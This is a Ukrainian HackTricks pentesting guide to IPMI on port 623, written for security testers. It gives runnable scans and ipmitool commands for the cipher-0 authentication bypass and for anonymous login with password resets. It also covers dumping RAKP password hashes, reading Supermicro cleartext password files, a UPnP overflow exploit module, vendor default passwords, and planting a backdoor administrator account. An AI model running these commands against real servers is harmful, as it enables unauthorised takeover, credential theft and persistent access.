hacktricks/network-services-pentesting/623-udp-ipmi.md
2024-03-29 19:49:46 +01:00

13 KiB
Raw Blame History

623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Базова інформація

Огляд IPMI

Інтерфейс управління платформою Inteligent (IPMI) пропонує стандартизований підхід до віддаленого управління та моніторингу комп'ютерних систем, незалежно від операційної системи або стану живлення. Ця технологія дозволяє системним адміністраторам управляти системами віддалено, навіть коли вони вимкнені або не реагують, і особливо корисна для:

  • Конфігурацій перед завантаженням ОС
  • Управління вимкненням живлення
  • Відновлення після відмови системи

IPMI може відслідковувати температури, напруги, швидкості вентиляторів та джерела живлення, а також надавати інформацію про інвентар, переглядати журнали обладнання та надсилати сповіщення через SNMP. Для його роботи необхідні джерело живлення та підключення до ЛВС.

Починаючи з 1998 року, IPMI був підтриманий численними виробниками, покращуючи можливості віддаленого управління, особливо з підтримкою версії 2.0 для серійного зв'язку через ЛВС. Ключові компоненти включають:

  • Контролер керування платою (BMC): Основний мікроконтролер для операцій IPMI.
  • Шини та інтерфейси зв'язку: Для внутрішнього та зовнішнього зв'язку, включаючи ICMB, IPMB та різні інтерфейси для локальних та мережевих підключень.
  • Пам'ять IPMI: Для зберігання журналів та даних.

https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right

Порт за замовчуванням: 623/UDP/TCP (Зазвичай використовується UDP, але також може працювати на TCP)

Перелік

Відкриття

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Ви можете ідентифікувати версію за допомогою:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

Вразливості IPMI

У світі IPMI 2.0 була виявлена значна вразливість безпеки Деном Фармером, яка виявляє вразливість через тип шифрування 0. Цю вразливість, детально задокументовану в дослідженні Дена Фармера, дозволяє несанкціонований доступ з будь-яким паролем, якщо цільовим є дійсний користувач. Ця слабкість була виявлена в різних BMC від виробників, таких як HP, Dell та Supermicro, що свідчить про поширену проблему у всіх реалізаціях IPMI 2.0.

Обхід аутентифікації IPMI через шифр 0

Для виявлення цієї вразливості можна використати наступний допоміжний сканер Metasploit:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

Експлуатація цієї уразливості можлива за допомогою ipmitool, як показано нижче, що дозволяє отримувати список та змінювати паролі користувачів:

apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

Отримання віддаленого хешу пароля за допомогою аутентифікації IPMI 2.0 RAKP

Ця уразливість дозволяє отримати захешовані паролі з сіллю (MD5 та SHA1) для будь-якого існуючого імені користувача. Для тестування цієї уразливості Metasploit пропонує модуль:

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

Анонімна аутентифікація IPMI

Стандартна конфігурація в багатьох BMC дозволяє "анонімний" доступ, що характеризується порожніми рядками для імені користувача та пароля. Цю конфігурацію можна використовувати для скидання паролів користувачів за допомогою ipmitool:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Чіткі паролі IPMI Supermicro

Критичний вибір дизайну в IPMI 2.0 передбачає зберігання чітких паролів у BMC для автентифікації. Зберігання Supermicro цих паролів у місцях, таких як /nv/PSBlock або /nv/PSStore, викликає серйозні проблеми з безпекою:

cat /nv/PSBlock

Вразливість Supermicro IPMI UPnP

Включення Supermicro UPnP SSDP слухача в його прошивку IPMI, зокрема на UDP порт 1900, вносить серйозний ризик безпеки. Вразливості в Intel SDK для UPnP пристроїв версії 1.3.1, які детально описані в розкритті Rapid7, дозволяють отримати root доступ до BMC:

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Брутфорс

HP рандомізує пароль за замовчуванням для свого продукту Integrated Lights Out (iLO) під час виробництва. Ця практика відрізняється від інших виробників, які зазвичай використовують статичні облікові дані за замовчуванням. Нижче наведено узагальнення облікових даних за замовчуванням для різних продуктів:

  • HP Integrated Lights Out (iLO) використовує фабричний рандомізований рядок з 8 символів як пароль за замовчуванням, що показує вищий рівень безпеки.
  • Продукти, такі як Dell's iDRAC, IBM's IMM та Fujitsu's Integrated Remote Management Controller, використовують легко вгадувані паролі, такі як "calvin", "PASSW0RD" (з нулем) та "admin" відповідно.
  • Так само, Supermicro IPMI (2.0), Oracle/Sun ILOM та ASUS iKVM BMC також використовують прості облікові дані за замовчуванням, де "ADMIN", "changeme" та "admin" слугують їх паролями.

Доступ до Хоста через BMC

Адміністративний доступ до контролера базової плати (BMC) відкриває різні шляхи для доступу до операційної системи хоста. Простий підхід полягає в експлуатації функціональності клавіатури, відео та миші (KVM) BMC. Це можна зробити шляхом перезавантаження хоста до кореневої оболонки через GRUB (використовуючи init=/bin/sh) або завантаження з віртуального CD-ROM, встановленого як диск для відновлення. Такі методи дозволяють безпосередньо маніпулювати диском хоста, включаючи вставлення задніх дверей, вилучення даних або будь-які необхідні дії для оцінки безпеки. Однак це вимагає перезавантаження хоста, що є значним недоліком. Без перезавантаження доступ до працюючого хоста складніший і залежить від конфігурації хоста. Якщо фізична або послідовна консоль хоста залишається увімкненою, її легко можна захопити через функціональності BMC KVM або послідовного доступу через LAN (sol) за допомогою ipmitool. Дослідження експлуатації спільних апаратних ресурсів, таких як шина i2c та чіп Super I/O, є областю, яка потребує подальших досліджень.

Введення задніх дверей в BMC з Хоста

Після компрометації хоста з BMC, локальний інтерфейс BMC може бути використаний для вставлення облікового запису задніх дверей, створюючи постійну присутність на сервері. Цей атака потребує наявності ipmitool на скомпрометованому хості та активації підтримки драйвера BMC. Наведені команди ілюструють, як новий обліковий запис може бути внесений в BMC за допомогою локального інтерфейсу хоста, що обходить потребу в аутентифікації. Ця техніка застосовна до широкого спектру операційних систем, включаючи Linux, Windows, BSD та навіть DOS.

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • порт:623

References